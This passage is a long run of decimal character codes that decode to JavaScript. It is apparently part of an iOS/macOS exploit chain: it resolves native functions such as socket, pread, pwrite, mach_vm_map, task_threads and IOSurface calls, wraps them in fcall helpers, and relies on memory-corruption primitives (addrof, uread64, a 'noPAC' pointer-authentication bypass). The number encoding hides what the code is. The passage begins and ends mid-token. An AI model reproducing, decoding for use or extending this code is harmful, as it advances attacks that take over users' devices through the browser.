102, 99, 108, 111, 115, 101, 34, 41, 59, 10, 108, 101, 116, 32, 70, 87, 82, 73, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 119, 114, 105, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 71, 69, 84, 83, 79, 67, 75, 79, 80, 84, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 103, 101, 116, 115, 111, 99, 107, 111, 112, 116, 34, 41, 59, 10, 108, 101, 116, 32, 76, 83, 69, 69, 75, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 108, 115, 101, 101, 107, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 84, 72, 82, 69, 65, 68, 95, 83, 69, 76, 70, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 116, 104, 114, 101, 97, 100, 95, 115, 101, 108, 102, 34, 41, 59, 10, 108, 101, 116, 32, 77, 69, 77, 77, 69, 77, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 101, 109, 109, 101, 109, 34, 41, 59, 10, 108, 101, 116, 32, 77, 69, 77, 83, 69, 84, 95, 80, 65, 84, 84, 69, 82, 78, 56, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 101, 109, 115, 101, 116, 95, 112, 97, 116, 116, 101, 114, 110, 56, 34, 41, 59, 10, 108, 101, 116, 32, 79, 80, 69, 78, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 111, 112, 101, 110, 34, 41, 59, 10, 108, 101, 116, 32, 80, 82, 69, 65, 68, 86, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 114, 101, 97, 100, 118, 34, 41, 59, 10, 108, 101, 116, 32, 80, 87, 82, 73, 84, 69, 86, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 119, 114, 105, 116, 101, 118, 34, 41, 59, 10, 108, 101, 116, 32, 80, 87, 82, 73, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 119, 114, 105, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 80, 82, 69, 65, 68, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 114, 101, 97, 100, 34, 41, 59, 10, 108, 101, 116, 32, 82, 69, 65, 68, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 114, 101, 97, 100, 34, 41, 59, 10, 108, 101, 116, 32, 83, 69, 84, 83, 79, 67, 75, 79, 80, 84, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 101, 116, 115, 111, 99, 107, 111, 112, 116, 34, 41, 59, 10, 108, 101, 116, 32, 83, 79, 67, 75, 69, 84, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 111, 99, 107, 101, 116, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 67, 65, 84, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 99, 97, 116, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 83, 84, 82, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 115, 116, 114, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 76, 69, 78, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 108, 101, 110, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 78, 67, 77, 80, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 110, 99, 109, 112, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 82, 67, 72, 82, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 114, 99, 104, 114, 34, 41, 59, 10, 108, 101, 116, 32, 80, 84, 72, 82, 69, 65, 68, 95, 83, 69, 76, 70, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 116, 104, 114, 101, 97, 100, 95, 115, 101, 108, 102, 34, 41, 59, 10, 108, 101, 116, 32, 80, 84, 72, 82, 69, 65, 68, 95, 74, 79, 73, 78, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 116, 104, 114, 101, 97, 100, 95, 106, 111, 105, 110, 34, 41, 59, 10, 108, 101, 116, 32, 87, 82, 73, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 119, 114, 105, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 82, 69, 77, 79, 86, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 114, 101, 109, 111, 118, 101, 34, 41, 59, 10, 108, 101, 116, 32, 65, 82, 67, 52, 82, 65, 78, 68, 79, 77, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 97, 114, 99, 52, 114, 97, 110, 100, 111, 109, 34, 41, 59, 10, 108, 101, 116, 32, 84, 65, 83, 75, 95, 84, 72, 82, 69, 65, 68, 83, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 116, 97, 115, 107, 95, 116, 104, 114, 101, 97, 100, 115, 34, 41, 59, 10, 108, 101, 116, 32, 84, 72, 82, 69, 65, 68, 95, 83, 85, 83, 80, 69, 78, 68, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 116, 104, 114, 101, 97, 100, 95, 115, 117, 115, 112, 101, 110, 100, 34, 41, 59, 10, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 77, 65, 75, 69, 95, 77, 69, 77, 79, 82, 89, 95, 69, 78, 84, 82, 89, 95, 54, 52, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 109, 97, 107, 101, 95, 109, 101, 109, 111, 114, 121, 95, 101, 110, 116, 114, 121, 95, 54, 52, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 80, 79, 82, 84, 95, 68, 69, 65, 76, 76, 79, 67, 65, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 112, 111, 114, 116, 95, 100, 101, 97, 108, 108, 111, 99, 97, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 86, 77, 95, 77, 65, 80, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 118, 109, 95, 109, 97, 112, 34, 41, 59, 10, 108, 101, 116, 32, 77, 77, 65, 80, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 109, 97, 112, 34, 41, 59, 10, 108, 101, 116, 32, 77, 76, 79, 67, 75, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 108, 111, 99, 107, 34, 41, 59, 10, 108, 101, 116, 32, 77, 85, 78, 76, 79, 67, 75, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 117, 110, 108, 111, 99, 107, 34, 41, 59, 10, 108, 101, 116, 32, 85, 78, 65, 77, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 117, 110, 97, 109, 101, 34, 41, 59, 10, 10, 108, 101, 116, 32, 73, 79, 83, 85, 82, 70, 65, 67, 69, 67, 82, 69, 65, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 73, 79, 83, 117, 114, 102, 97, 99, 101, 67, 114, 101, 97, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 73, 79, 83, 85, 82, 70, 65, 67, 69, 80, 82, 69, 70, 69, 84, 67, 72, 80, 65, 71, 69, 83, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 73, 79, 83, 117, 114, 102, 97, 99, 101, 80, 114, 101, 102, 101, 116, 99, 104, 80, 97, 103, 101, 115, 34, 41, 59, 10, 108, 101, 116, 32, 73, 79, 83, 85, 82, 70, 65, 67, 69, 71, 69, 84, 66, 65, 83, 69, 65, 68, 68, 82, 69, 83, 83, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 73, 79, 83, 117, 114, 102, 97, 99, 101, 71, 101, 116, 66, 97, 115, 101, 65, 100, 100, 114, 101, 115, 115, 34, 41, 59, 10, 108, 101, 116, 32, 107, 73, 79, 83, 117, 114, 102, 97, 99, 101, 65, 108, 108, 111, 99, 83, 105, 122, 101, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 107, 73, 79, 83, 117, 114, 102, 97, 99, 101, 65, 108, 108, 111, 99, 83, 105, 122, 101, 34, 41, 46, 110, 111, 80, 65, 67, 40, 41, 41, 59, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 68, 85, 77, 80, 40, 97, 100, 100, 114, 44, 32, 115, 122, 41, 32, 123, 10, 32, 32, 32, 32, 47, 47, 32, 102, 99, 97, 108, 108, 40, 108, 111, 99, 97, 108, 95, 100, 117, 109, 112, 44, 32, 97, 100, 100, 114, 44, 32, 115, 122, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 106, 115, 95, 109, 97, 108, 108, 111, 99, 40, 115, 122, 41, 32, 123, 10, 32, 32, 32, 32, 98, 117, 102, 102, 32, 61, 32, 110, 101, 119, 32, 85, 105, 110, 116, 56, 65, 114, 114, 97, 121, 40, 66, 105, 103, 73, 110, 116, 40, 115, 122, 41, 46, 97, 115, 73, 110, 116, 51, 50, 115, 41, 46, 102, 105, 108, 108, 40, 48, 120, 48, 48, 41, 59, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 117, 114, 101, 97, 100, 54, 52, 40, 109, 101, 109, 46, 97, 100, 100, 114, 111, 102, 40, 98, 117, 102, 102, 41, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 116, 104, 114, 101, 97, 100, 95, 115, 101, 108, 102, 40, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 84, 72, 82, 69, 65, 68, 95, 83, 69, 76, 70, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 116, 104, 114, 101, 97, 100, 95, 103, 101, 116, 115, 112, 101, 99, 105, 102, 105, 99, 40, 107, 101, 121, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 84, 72, 82, 69, 65, 68, 95, 71, 69, 84, 83, 80, 69, 67, 73, 70, 73, 67, 44, 32, 107, 101, 121, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 116, 104, 114, 101, 97, 100, 95, 115, 101, 108, 102, 40, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 84, 72, 82, 69, 65, 68, 95, 83, 69, 76, 70, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 116, 104, 114, 101, 97, 100, 95, 106, 111, 105, 110, 40, 116, 104, 114, 44, 32, 118, 97, 108, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 84, 72, 82, 69, 65, 68, 95, 74, 79, 73, 78, 44, 32, 116, 104, 114, 44, 32, 118, 97, 108, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 95, 78, 83, 71, 101, 116, 69, 120, 101, 99, 117, 116, 97, 98, 108, 101, 80, 97, 116, 104, 40, 101, 120, 101, 99, 117, 116, 97, 98, 108, 101, 95, 112, 97, 116, 104, 44, 32, 108, 101, 110, 103, 116, 104, 95, 112, 116, 114, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 95, 78, 83, 71, 69, 84, 69, 88, 69, 67, 85, 84, 65, 66, 76, 69, 80, 65, 84, 72, 44, 32, 101, 120, 101, 99, 117, 116, 97, 98, 108, 101, 95, 112, 97, 116, 104, 44, 32, 108, 101, 110, 103, 116, 104, 95, 112, 116, 114, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 99, 111, 110, 102, 115, 116, 114, 40, 110, 97, 109, 101, 44, 32, 98, 117, 102, 44, 32, 108, 101, 110, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 79, 78, 70, 83, 84, 82, 44, 32, 110, 97, 109, 101, 44, 32, 98, 117, 102, 44, 32, 108, 101, 110, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 114, 99, 104, 114, 40, 115, 44, 32, 99, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 82, 67, 72, 82, 44, 32, 115, 44, 32, 99, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 99, 97, 116, 40, 115, 49, 44, 32, 115, 50, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 67, 65, 84, 44, 32, 115, 49, 44, 32, 115, 50, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 108, 101, 110, 40, 115, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 76, 69, 78, 44, 32, 115, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 115, 116, 114, 40, 115, 49, 44, 32, 115, 50, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 83, 84, 82, 44, 32, 115, 49, 44, 32, 115, 50, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 110, 99, 109, 112, 40, 115, 49, 44, 32, 115, 50, 44, 32, 110, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 78, 67, 77, 80, 44, 32, 115, 49, 44, 32, 115, 50, 44, 32, 110, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 111, 99, 107, 101, 116, 40, 100, 111, 109, 97, 105, 110, 44, 32, 116, 121, 112, 101, 44, 32, 112, 114, 111, 116, 111, 99, 111, 108, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 79, 67, 75, 69, 84, 44, 32, 100, 111, 109, 97, 105, 110, 44, 32, 116, 121, 112, 101, 44, 32, 112, 114, 111, 116, 111, 99, 111, 108, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 103, 101, 116, 115, 111, 99, 107, 111, 112, 116, 40, 115, 111, 99, 107, 101, 116, 44, 32, 108, 101, 118, 101, 108, 44, 32, 111, 112, 116, 105, 111, 110, 95, 110, 97, 109, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 118, 97, 108, 117, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 108, 101, 110, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 71, 69, 84, 83, 79, 67, 75, 79, 80, 84, 44, 32, 115, 111, 99, 107, 101, 116, 44, 32, 108, 101, 118, 101, 108, 44, 32, 111, 112, 116, 105, 111, 110, 95, 110, 97, 109, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 118, 97, 108, 117, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 108, 101, 110, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 101, 116, 115, 111, 99, 107, 111, 112, 116, 40, 115, 111, 99, 107, 101, 116, 44, 32, 108, 101, 118, 101, 108, 44, 32, 111, 112, 116, 105, 111, 110, 95, 110, 97, 109, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 118, 97, 108, 117, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 108, 101, 110, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 69, 84, 83, 79, 67, 75, 79, 80, 84, 44, 32, 115, 111, 99, 107, 101, 116, 44, 32, 108, 101, 118, 101, 108, 44, 32, 111, 112, 116, 105, 111, 110, 95, 110, 97, 109, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 118, 97, 108, 117, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 108, 101, 110, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 105, 108, 101, 112, 111, 114, 116, 95, 109, 97, 107, 101, 112, 111, 114, 116, 40, 102, 100, 44, 32, 112, 111, 114, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 73, 76, 69, 80, 79, 82, 84, 95, 77, 65, 75, 69, 80, 79, 82, 84, 44, 32, 102, 100, 44, 32, 112, 111, 114, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 105, 108, 101, 112, 111, 114, 116, 95, 109, 97, 107, 101, 102, 100, 40, 112, 111, 114, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 73, 76, 69, 80, 79, 82, 84, 95, 77, 65, 75, 69, 70, 68, 44, 32, 112, 111, 114, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 101, 109, 115, 101, 116, 95, 112, 97, 116, 116, 101, 114, 110, 56, 40, 98, 117, 102, 44, 32, 118, 97, 108, 44, 32, 115, 122, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 69, 77, 83, 69, 84, 95, 80, 65, 84, 84, 69, 82, 78, 56, 44, 32, 98, 117, 102, 44, 32, 118, 97, 108, 44, 32, 115, 122, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 101, 109, 109, 101, 109, 40, 98, 105, 103, 44, 32, 98, 105, 103, 95, 108, 101, 110, 44, 32, 108, 105, 116, 116, 108, 101, 44, 32, 108, 105, 116, 116, 108, 101, 95, 108, 101, 110, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 69, 77, 77, 69, 77, 44, 32, 98, 105, 103, 44, 32, 98, 105, 103, 95, 108, 101, 110, 44, 32, 108, 105, 116, 116, 108, 101, 44, 32, 108, 105, 116, 116, 108, 101, 95, 108, 101, 110, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 97, 99, 99, 101, 115, 115, 40, 112, 97, 116, 104, 44, 32, 109, 111, 100, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 65, 67, 67, 69, 83, 83, 44, 32, 112, 97, 116, 104, 44, 32, 109, 111, 100, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 112, 101, 110, 40, 112, 97, 116, 104, 44, 32, 109, 111, 100, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 79, 80, 69, 78, 44, 32, 112, 97, 116, 104, 44, 32, 109, 111, 100, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 111, 112, 101, 110, 40, 112, 97, 116, 104, 44, 32, 109, 111, 100, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 79, 80, 69, 78, 44, 32, 112, 97, 116, 104, 44, 32, 109, 111, 100, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 99, 108, 111, 115, 101, 40, 102, 100, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 67, 76, 79, 83, 69, 44, 32, 102, 100, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 119, 114, 105, 116, 101, 40, 98, 117, 102, 44, 32, 115, 122, 44, 32, 110, 105, 116, 101, 109, 44, 32, 102, 100, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 87, 82, 73, 84, 69, 44, 32, 98, 117, 102, 44, 32, 115, 122, 44, 32, 110, 105, 116, 101, 109, 44, 32, 102, 100, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 114, 101, 97, 100, 118, 40, 102, 105, 108, 100, 101, 115, 44, 32, 105, 111, 118, 44, 32, 105, 111, 118, 99, 110, 116, 44, 32, 111, 102, 102, 115, 101, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 82, 69, 65, 68, 86, 44, 32, 102, 105, 108, 100, 101, 115, 44, 32, 105, 111, 118, 44, 32, 105, 111, 118, 99, 110, 116, 44, 32, 111, 102, 102, 115, 101, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 119, 114, 105, 116, 101, 118, 40, 102, 105, 108, 100, 101, 115, 44, 32, 105, 111, 118, 44, 32, 105, 111, 118, 99, 110, 116, 44, 32, 111, 102, 102, 115, 101, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 87, 82, 73, 84, 69, 86, 44, 32, 102, 105, 108, 100, 101, 115, 44, 32, 105, 111, 118, 44, 32, 105, 111, 118, 99, 110, 116, 44, 32, 111, 102, 102, 115, 101, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 119, 114, 105, 116, 101, 40, 102, 105, 108, 100, 101, 115, 44, 32, 98, 117, 102, 102, 44, 32, 115, 105, 122, 101, 44, 32, 111, 102, 102, 115, 101, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 87, 82, 73, 84, 69, 44, 32, 102, 105, 108, 100, 101, 115, 44, 32, 98, 117, 102, 102, 44, 32, 115, 105, 122, 101, 44, 32, 111, 102, 102, 115, 101, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 114, 101, 97, 100, 40, 102, 105, 108, 100, 101, 115, 44, 32, 98, 117, 102, 102, 44, 32, 115, 105, 122, 101, 44, 32, 111, 102, 102, 115, 101, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 82, 69, 65, 68, 44, 32, 102, 105, 108, 100, 101, 115, 44, 32, 98, 117, 102, 102, 44, 32, 115, 105, 122, 101, 44, 32, 111, 102, 102, 115, 101, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 114, 101, 97, 100, 40, 102, 100, 44, 32, 98, 117, 102, 44, 32, 115, 122, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 82, 69, 65, 68, 44, 32, 102, 100, 44, 32, 98, 117, 102, 44, 32, 115, 122, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 119, 114, 105, 116, 101, 40, 102, 100, 44, 32, 98, 117, 102, 44, 32, 115, 122, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 87, 82, 73, 84, 69, 44, 32, 102, 100, 44, 32, 98, 117, 102, 44, 32, 115, 122, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 114, 101, 109, 111, 118, 101, 40, 112, 97, 116, 104, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 82, 69, 77, 79, 86, 69, 44, 32, 112, 97, 116, 104, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 97, 114, 99, 52, 114, 97, 110, 100, 111, 109, 40, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 65, 82, 67, 52, 82, 65, 78, 68, 79, 77, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 116, 97, 115, 107, 95, 116, 104, 114, 101, 97, 100, 115, 40, 116, 97, 115, 107, 44, 32, 116, 104, 114, 101, 97, 100, 95, 108, 105, 115, 116, 95, 97, 100, 100, 114, 44, 32, 116, 104, 114, 101, 97, 100, 95, 99, 111, 117, 110, 116, 95, 97, 100, 100, 114, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 84, 65, 83, 75, 95, 84, 72, 82, 69, 65, 68, 83, 44, 32, 116, 97, 115, 107, 44, 32, 116, 104, 114, 101, 97, 100, 95, 108, 105, 115, 116, 95, 97, 100, 100, 114, 44, 32, 116, 104, 114, 101, 97, 100, 95, 99, 111, 117, 110, 116, 95, 97, 100, 100, 114, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 99, 110, 116, 108, 40, 102, 100, 44, 32, 102, 108, 97, 103, 44, 32, 118, 97, 108, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 67, 78, 84, 76, 44, 32, 102, 100, 44, 32, 102, 108, 97, 103, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 48, 110, 44, 32, 118, 97, 108, 117, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 108, 115, 101, 101, 107, 40, 102, 105, 108, 100, 101, 115, 44, 32, 111, 102, 102, 115, 101, 116, 44, 32, 119, 104, 101, 110, 99, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 76, 83, 69, 69, 75, 44, 32, 102, 105, 108, 100, 101, 115, 44, 32, 111, 102, 102, 115, 101, 116, 44, 32, 119, 104, 101, 110, 99, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 115, 121, 110, 99, 40, 102, 100, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 83, 89, 78, 67, 44, 32, 102, 100, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 87, 105, 116, 104, 67, 83, 116, 114, 105, 110, 103, 40, 97, 108, 108, 111, 99, 97, 116, 111, 114, 44, 32, 99, 115, 116, 114, 105, 110, 103, 44, 32, 101, 110, 99, 111, 100, 105, 110, 103, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 83, 84, 82, 73, 